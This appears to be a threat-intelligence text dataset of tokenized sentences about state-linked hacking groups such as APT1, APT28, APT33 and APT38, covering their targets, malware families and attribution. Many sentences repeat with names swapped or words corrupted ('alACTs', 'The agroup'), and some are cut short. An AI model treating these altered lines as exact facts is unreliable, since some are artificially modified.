It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial , economic , and trade policy , typically using publicly available RATs such as PoisonIvy , as well as some non-public backdoors .
APT1 : Comment Crew , Comment Group , Comment Panda .
APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People ’s Liberation Army ( PLA ) General Staff Department ’s ( GSD ) 3rd Department , commonly known by its Military Unit Cover Designator ( MUCD ) as Unit 61398 .
APT12 : IXESHE , DynCalc , Numbered Panda , DNSCALC .
APT12 is a threat group that has been attributed to China .
The group has targeted a variety of victims including but not limited to media outlets , high-tech companies , and multiple governments .
The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .
Multiple China-based cyber threat groups have targeted international media organizations in the past .
The admin@338 has targeted international media organizations in the past .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
We observed the admin@338 upload a second stage malware , known as BUBBLEWRAP ( also known as Backdoor.APT.FakeWinHTTPHelper ) to their Dropbox account along with the following command .
We have previously observed the admin@338 group use BUBBLEWRAP .
The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets .
The admin@338 linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
An APT gang linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
The group targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The agroup targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
The APT actor , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
In August 2013 , FireEye reported that admin@338 had been using the Poison Ivy RAT in its operations .
In March 2014 , the admin@338 leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
In March 2014 , the group leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
The admin@338 's Dropbox accounts have also been found to contain a different backdoor dubbed BUBBLEWRAP .
Researchers have pointed out that it is not uncommon for China-based threat groups to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
Researchers have pointed out that it is not uncommon for admin@338 to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
FireEye analysts documented the admin@338 group 's activities in a previous paper titled Poison Ivy : Assessing Damage and Extracting Intelligence paper .
The spear-phishing campaign against Asian entities isn't isolated , the admin@338 also started another attack against the US-based think tank on 14th March .
Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of China 's cyber threat actors .
FireEye said it has tracked admin@338 's activity since 2013 and the group has largely targeted organizations involved in financial , economic , and trade policy .
The simplest conclusion based on these facts is that APT1 is operating in China , and most likely in Shanghai .
These data sets show that APT1 is either operating in China during normal Chinese business hours or that APT1 is intentionally going to painstaking lengths to look like they are .
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently .
While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT .
Given the mission , resourcing , and location of PLA Unit 61398 , we conclude that PLA Unit 61398 is APT1 .
APT1 were a highly prolific cyber-attack group operating out of China .
APT1 is a China-based cyber-espionage group , active since mid-2006 .
APT12 's targets are consistent with larger People 's Republic of China ( PRC ) goals .
Since the release of the Arbor blog post , FireEye has observed APT12 use a modified backdoor that we call HIGHTIDE .
However , the malware shared several traits with the RIPTIDE and HIGHTIDE backdoor that we have attributed to APT12 .
From October 2012 to May 2014 , FireEye observed APT12 utilizing RIPTIDE , that communicates via HTTP to a hard-coded command and control ( C2 ) server .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset .
They have largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
A China-based cyber threat group , which FireEye tracks as an uncategorized advanced persistent threat ( APT ) group and other researchers refer to as admin@338 , may have conducted the activity .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
About four months after The New York Times publicized an attack on its network , the APT12 behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families .
With this in mind , this week we are providing some indicators for a China based adversary who we crypt as " NUMBERED PANDA " Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
The new campaigns mark the first significant stirrings from the APT12 since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT16 launched several spear phishing attacks targeting Japan and Taiwan in the high-tech , government services , media and financial services industries .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
On November 26 , 2015 , a suspected China-based APT16 sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
On November 26 , 2015 , a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
While attribution of the first two spear phishing attacks is still uncertain , we attribute the second December phishing campaign to the China-based APT group that we refer to as APT16 .
APT16 actors sent spear phishing emails to two Taiwanese media organizations .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .
Despite the differing sponsorship , penetration of Hong Kong and Taiwan-based media organizations continues to be a priority for China-based APT16 .
The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility .
APT17 was embedding the encoded CnC IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads , a method some in the information security community call a " dead drop resolver " .
APT17 , also known as DeputyDog , is a China-based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
FireEye has monitored APT17 's use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the CnC communication as queries to web search engines .
The use of BLACKCOFFEE demonstrates APT17 's evolving use of public websites to hide in plain sight .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
The APT18 then installed the hcdLoader RAT , which installs as a Windows service and provides command line access to the compromised system .
The malware used by the Wekby group has ties to the HTTPBrowser malware family , and uses DNS requests as a command and control mechanism .
These URIs result in the download of an installer , which creates a PE of the malware typically known as HTTPBrowser , but called Token Control by the Wekby group themselves ( based upon the PDB strings found within many of the samples ) .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and political , financial , pharmaceutical and energy sectors that could benefit the Chinese economy .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .
FANCY BEAR ( also known as Sofacy or APT28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
APT28 malware , in particular the family of modular backdoors that we call CHOPSTICK , indicates a formal code development environment .
However , three themes in APT28 's targeting clearly reflects LOCs of specific interest to an Eastern European government , most likely the Russian government .
We identified three themes in APT28 's lures and registered domains , which together are particularly relevant to the Russian government .
Georgian military security issues , particularly with regard to U.S. cooperation and NATO , provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics .
Instead , we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials .
APT28 's malware settings suggest that the developers have done the majority of their work in a Russian language build environment during Russian business hours , which suggests that the Russian government is APT28 's sponsor .
We believe that APT28 's targeting of the MOD aligns with Russian threat perceptions .
We assess that APT28 is most likely sponsored by the Russian government .
Given the available data , we assess that APT28 's work is sponsored by the Russian government .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
The targets of TG-4127 include military , government and defense sectors .
Some of APT28 's more commonly used tools are the SOURFACE downloader , its second stage backdoor EVILTOSS , and a modular family of implants that we call CHOPSTICK .
While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
This intelligence has been critical to protecting and informing our clients , exposing this threat , and strengthening our confidence in attributing APT28 to the Russian government .
Our visibility into the operations of APT28 - a group we believe the Russian government sponsors - has given us insight into some of the government 's targets , as well as its objectives and the activities designed to further them .
Since at least 2007 , APT28 has engaged in extensive operations in support of Russian strategic interests .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian government .
Over the past two years , Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine .
After compromising a victim organization , APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests .
After compromising a political organization , APT28 will steal internal data .
On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye 's long held public assessment that the Russian government sponsors APT28 .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations , and characterized APT28 's activity as aligning with the Russian government 's strategic intelligence requirements .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations' , and characterized APT28 's activity as aligning with the Russian government 's strategic intelligence requirements .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
Our investigation of APT28 's compromise of WADA 's network , and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism .
Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian government .
In our 2014 report , we identified APT28 as a suspected Russian government-sponsored espionage actor .
For full details , please reference our 2014 report , APT28 : A Window into Russia 's Cyber Espionage Operations .
The espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
The APT28 , which is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
Several sources consider APT28 a group of CyberMercs based in Russia .
The primary targets of APT28 are potential victims in several countries such as Ukraine , Spain , Russia , Romania , the United States and Canada .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .
Finally , the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28 's ability and interest in exploiting geopolitical events for their operations .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM , JHUHUGIT , AZZY and a few others .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
Their evolving and modified SPLM , CHOPSTICK , XAgent code is a long-standing part of Sofacy activity , however much of it is changing .
FireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor APT28 .
APT28 is using novel techniques involving the EternalBlue exploits and the open source tool Responder to spread laterally through networks and likely target travelers .
Upon gaining access to the machines connected to corporate and guest Wi-Fi networks , APT28 deployed Responder .
Compared to other backdoor tools associated with the Sofacy group , the use of Zebrocy in attack campaigns is far more widespread .
As alluded to in our previous blog regarding the Cannon tool , the Sofacy group ( AKA Fancy Bear , APT28 , STRONTIUM , Pawn Storm , Sednit ) has persistently attacked various government and private organizations around the world from mid-October 2018 through mid-November 2018 .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
While the JHUHUGIT ( and more recently , " JKEYSKW " ) implant used in most of the Sofacy attacks , high profile victims are being targeted with another first level implant , representing the latest evolution of their AZZY Trojan .
Once a foothold is established , Sofacy trys to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
Once a foothold is established , they try to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
The Sofacy threat group continues to target government organizations in the EU , US , and former Soviet states to deliver the Zebrocy tool as a payload .
Of note , we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon .
Komplex shares a significant amount of functionality and traits with another tool used by Sofacy – the Carberp variant that Sofacy had used in previous attack campaigns on systems running Windows .
The Sofacy group created the Komplex Trojan to use in attack campaigns targeting the OS X operating system – a move that showcases their continued evolution toward multi-platform attacks .
The Komplex Trojan revealed a design similar to Sofacy 's Carberp variant Trojan , which we believe may have been done in order to handle compromised Windows and OS X systems using the same C2 server application with relative ease .
This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke .
The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term " MiniDuke " to identify the first Duke-related malware they found .
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke , and thus the threat actor operating the toolsets started to be commonly referred to as " Dukes " .
Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .
Importantly , PinchDuke trojan samples alACTs contain a notable text string , which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel .
This neatly ties together many of the tools used by the Dukes group , as versions of this one loader have been used to load malware from three different Dukes-related toolsets CosmicDuke , PinchDuke , and MiniDuke – over the course of five years .
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets : MiniDuke and CozyDuke .
As we now know , by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years .
Secondly , the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed .
This is in stark contrast to some other suspected Russian threat actors ( such as Operation Pawn Storm ) who appear to have increased their targeting of Ukraine following the crisis .
The Dukes actively targeted Ukraine before the crisis , at a time when Russia was still weighing her options , but once Russia moved from diplomacy to direct action , Ukraine was no longer relevant to the Dukes in the same ACT .
In the latter case however , the Dukes group appear to have also simultaneously developed an entirely new loader , which we first observed being used in conjunction with CosmicDuke during the spring of 2015 .
The Dukes could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .
For these CozyDuke campaigns however , the Dukes appear to have employed two particular later-stage toolsets , SeaDuke and HammerDuke .
Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .
In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke , the Dukes also continued to engage in more covert , surgical campaigns using CosmicDuke .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
All of the available evidence however does in our opinion suggest that the group operates on behalf of the Russian Federation .
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples , which similarly suggest the group work in the Moscow Standard TIME timezone , as further detailed in the section on the technical analysis of GeminiDuke .
Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years .
APT29 has used The Onion Router and the TOR domain fronting plugin meek to create a hidden , encrypted network tunnel that appeared to connect to Google services over TLS .
Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY .
Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years .
In the investigations Mandiant has conducted , it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors .
POSHSPY is an excellent example of the skill and craftiness of APT29 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware , in conjunction with commercially-available tools , to conduct targeted operations that are aligned with Vietnamese state interests .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
From 2016 through 2017 , two subsidiaries of U.S. and Philippine consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
From 2016 through 2017 , two consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2015 and 2016 , two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam 's manufacturing , consumer products , and hospitality sectors .
APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD , KOMPROGO , SOUNDBITE , and PHOREAL .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike backdoor .
Based on incident response investigations , product detections , and intelligence observations along with additional publications on the same operators , FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .
OceanLotus , also known as APT32 , is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics , techniques , and procedures ( TTPs ) .
While Volexity does not typically engage in attempting attribution of any threat actor , Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam .
During that phase , the APT32 operated a fileless PowerShell-based infrastructure , using customized PowerShell payloads taken from known offensive frameworks such as Cobalt Strike , PowerSploit and Nishang .
However , over the past few years , we have been tracking a separate , less widely known suspected Iranian group with potential destructive capabilities , whom we call APT33 .
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013 .
We assess APT33 works at the behest of the Iranian government .
APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea .
Cybereason also attributes the recently reported Backdoor.Win32.Denis to the OceanLotus Group , which at the time of this report 's writing , had not been officially linked to this threat actor .
APT33 has shown particular interest in organizations in the aviation sector , as well as organizations in the energy sector with ties to petrochemical production .
From mid-2016 through early 2017 , APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings .
From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector .
During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups , indicating a common interest in the sectors across Iranian actors .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training , maintenance and support for Saudi 's military and commercial fleet .
We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries .
APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored .
APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups .
This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government .
The publicly available backdoors and tools utilized by APT33 – including NANOCORE , NETWIRE , and ALFA Shell – are all available on Iranian hacking websites , associated with Iranian hackers , and used by other suspected Iranian threat groups .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
Specifically , the targeting of organizations in the aerospace and energy sectors indicates that the APT33 is likely in search of strategic intelligence capable of benefitting a government or military sponsor .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
We expect APT33 activity will continue to cover a broad scope of targeted entities , and may spread into other regions and sectors as Iranian interests dictate .
The Elfin espionage group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " ( referred to as GroupB in this blog post ) to APT33 , operating at the behest of the Iranian government .
The Elfin group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " to APT33 , operating at the behest of the Iranian government .
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea .
In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .
In 2017 , APT37 targeted a company in Middle East that entered into a joint venture with the North Korean government to provide telecommunications service to the country .
While not conclusive by itself , the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33 's familiarity with them and lends support to the assessment that APT33 may be based in Iran .
North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea .
In 2017 , APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country ( read on for a case study ) .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea .
We believe a organization located in Middle East was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad .
In one instance , APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
In April 2017 , APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea .
The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone ( UTC +8:30 ) and follows what is believed to be a typical North Korean workday .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
Similarly , APT37 targeting of a company located in Middle East in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
Similarly , APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions , APT37 is an additional tool available to the regime , perhaps even desirable for its relative obscurity .
ScarCruft is a relatively new APT group , victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Certain details , such as using the same infrastructure and targeting , make us believe that Operation Daybreak is being done by the ScarCruft APT group .
Prior to the discovery of Operation Daybreak , we observed the ScarCruft APT launching a series of attacks in Operation Erebus .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
On occasion the APT37 directly included the ROKRAT payload in the malicious document and during other campaigns the attackers leveraged multi-stage infection processes .
In the early part of 2017 , Group123 started the " Evil New Year " campaign .
In November 2017 , Talos observed the latest Group123 campaign of the year , which included a new version of ROKRAT being used in the latest wave of attacks .
Group123 is constantly evolving as the new fileless capability that was added to ROKRAT demonstrates .
In this campaign , the Group123 used a classical HWP document in order to download and execute a previously unknown malware : NavRAT .
However , we asses with medium confidence that NavRAT is linked to Group123 .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world 's largest cyber heists .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world .
APT38 is believed to operate more similarly to an espionage operation , carefully conducting reconnaissance within compromised financial institutions and balancing financially motivated objectives with learning about internal systems .
The group has compromised more than 16 organizations in at least 13 different countries , sometimes simultaneously , since at least 2014 .
APT38 shares malware code and other development resources with TEMP.Hermit North Korean cyber espionage activity , although we consider APT38 .
We consider APT38 's operations more global and highly specialized for targeting the financial sector .
APT38 is a financially motivated group linked to North Korean cyber espionage operators , renown for attempting to steal hundreds of millions of dollars from financial institutions and their brazen use of destructive malware .
Because APT38 is backed by ( and acts on behalf of ) the North Korean regime , we opted to categorize the group as an " APT " instead of a " FIN " .
Over time these malware similarities diverged , as did targeting , intended outcomes , and TTPs , almost certainly indicating that TEMP.Hermit activity is made up of multiple operational groups primarily linked together with shared malware development resources and North Korean state sponsorship .
Based on observed activity , we judge that APT38 's primary mission is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korean regime .
Since 2015 , APT38 has attempted to steal hundreds of millions of dollars from financial institutions .
APT38 has pursued their main objective of targeting banks and financial entities since at least 2014 .
We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .
The APT38 targeted news outlets known for their business and financial sector reporting , probably in support of efforts to identify and compromise additional financial institutions .
APT38 also targeted financial transaction exchange companies likely because of their proximity to banks .
Given the lapse in time between the spear-phishing and the heist activity in the above example , we suggest two separate but related groups under the North Korean regime were responsible for carrying out missions ; one associated with reconnaissance ( TEMP.Hermit or a related group ) and another for the heists ( APT38 ) .
APT38 , in particular , is strongly distinguishable because of its specific focus on financial institutions and operations that attempt to use SWIFT fraud to steal millions of dollars at a time .
